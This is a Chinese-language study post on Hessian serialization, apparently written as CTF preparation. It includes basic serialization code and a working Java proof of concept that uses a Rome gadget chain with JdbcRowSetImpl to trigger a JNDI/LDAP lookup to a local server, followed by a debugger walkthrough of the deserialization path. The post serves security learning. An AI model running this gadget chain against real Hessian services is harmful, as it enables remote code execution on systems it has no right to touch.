前言
前几天的 D^3CTF 的一道题的常规解就是用 Hessian 打的,这里先学习一下关于 Hessian 的基础。
什么是 Hessian
Hessian 是一个紧凑的二进制协议,用于在各种语言之间编码和传输数据,包括 Java。由 Caucho Technology 开发,Hessian 主要用于远程方法调用 (remote method invocation, RMI) 这样的分布式计算场景。它基于 HTTP,易于使用而且效率很高,尤其是在对带宽要求较高或是对象序列化开销较大的环境中。
Hessian 的工作方式简单来说就是将数据对象序列化为字节流,然后通过网络发送;接收方再从字节流中反序列化出原始数据对象。Java 中的 Hessian 序列化通过 HessianOutput 类实现,Hessian 反序列化则通过 HessianInput 类实现。
基本使用
环境配置
<dependency>
<groupId>com.caucho</groupId>
<artifactId>hessian</artifactId>
<version>4.0.63</version>
</dependency>
测试代码
实体类
package com.natro92;
import java.io.Serializable;
public class Hacker implements Serializable {
private String name;
private int age;
public int getAge() {
return age;
}
public void setAge(int age) {
this.age = age;
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public Hacker(String name, int age) {
this.name = name;
this.age = age;
}
public void printInfo() {
System.out.println("Name: " + name + ", Age: " + age);
}
}
Hessian 自带的序列化和反序列化
package com.natro92;
import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.Serializable;
public class HessianTest implements Serializable {
// 序列化
public static <T> byte[] serialize(T o) throws IOException {
ByteArrayOutputStream bao = new ByteArrayOutputStream();
HessianOutput output = new HessianOutput(bao);
output.writeObject(o);
System.out.println(bao.toString());
return bao.toByteArray();
}
public static <T> T deserialize(byte[] bytes) throws IOException {
ByteArrayInputStream bai = new ByteArrayInputStream(bytes);
HessianInput input = new HessianInput(bai);
Object o = input.readObject();
return (T) o;
}
public static void main(String[] args) throws IOException {
Hacker hacker = new Hacker("Natro92", 18);
byte[] s = serialize(hacker);
System.out.println((Hacker) deserialize(s));
}
}
Java 原生的序列化和反序列化
package com.natro92;
import java.io.*;
public class JavaHessianTest implements Serializable {
public static <T> byte[] serialize(T t) throws IOException {
ByteArrayOutputStream bao = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bao);
oos.writeObject(t);
System.out.println(bao.toString());
return bao.toByteArray();
}
public static <T> T deserialize(byte[] bytes) throws IOException, ClassNotFoundException {
ByteArrayInputStream bai = new ByteArrayInputStream(bytes);
ObjectInputStream ois =new ObjectInputStream(bai);
return (T) ois.readObject();
}
public static void main(String[] args) throws IOException, ClassNotFoundException {
Hacker hacker = new Hacker("Natro92", 18);
byte[] s=serialize(hacker);
System.out.println((Hacker) deserialize(s));
}
}
Hessian 反序列化漏洞分析
代码预览
漏洞出现在 HessianInput#readObject
我们在前面运行得到的结果,能注意到开头有一个 M(ASCII:77),这是因为 Hessian 序列化结果是一个 Map
因此在 readObject 这里 case 进入 M 处:
再进入 ObjectInputStream#readMap 方法:
获取到 Deserializer
进去 getDeserializer,在这里创建了一个 HashMap,并将 key 放入:
我们发现了熟悉的 put 方法,进去之后就能发现 hash 方法
进去之后就是熟悉的 HashMap#hashcode 方法:
这里我们分析下 Poc:
package com.natro92;
import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;
import com.rometools.rome.feed.impl.EqualsBean;
import com.rometools.rome.feed.impl.ToStringBean;
import com.sun.rowset.JdbcRowSetImpl;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.Serializable;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
public class HackHessian implements Serializable {
public static <T> byte[] serialize(T o) throws IOException {
ByteArrayOutputStream bao = new ByteArrayOutputStream();
HessianOutput output = new HessianOutput(bao);
output.writeObject(o);
System.out.println(bao.toString());
return bao.toByteArray();
}
public static <T> T deserialize(byte[] bytes) throws IOException {
ByteArrayInputStream bai = new ByteArrayInputStream(bytes);
HessianInput input = new HessianInput(bai);
Object o = input.readObject();
return (T) o;
}
public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
public static Object getValue(Object obj, String name) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
return field.get(obj);
}
public static void main(String[] args) throws Exception {
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
String url = "ldap://127.0.0.1:4444/Exp";
jdbcRowSet.setDataSourceName(url);
ToStringBean toStringBean = new ToStringBean(JdbcRowSetImpl.class,jdbcRowSet);
EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);
//手动生成HashMap,防止提前调用hashcode()
HashMap hashMap = makeMap(equalsBean,"1");
byte[] s = serialize(hashMap);
System.out.println(s);
System.out.println((HashMap)deserialize(s));
}
public static HashMap<Object, Object> makeMap ( Object v1, Object v2 ) throws Exception {
HashMap<Object, Object> s = new HashMap<>();
setValue(s, "size", 2);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
setValue(s, "table", tbl);
return s;
}
}
在 4444 上起一个 ldap 服务:
运行代码成功执行
断点分析
断在 readObject 这里我们进去看看
运行时弹出了两个计算器,这里有一个是序列化时弹得计算器。进去。
检测第一个字节是 M 因此进行 readMap:
进入 ReadMap
继续由于两个判断都是 null,可以走到 MapDeserializer 和_hashMapDeserializer.readMap(in),进入_hashMapDeserializer.readMap。
这里创建一个新的 HashMap,作为一个临时缓存,将内容 put 进去。因为这里调用了两次的 readObject,所以会重复。
然后就到了 put 这里。后面就是 Rome。
进 hash 再执行 EqualsBean#hashcode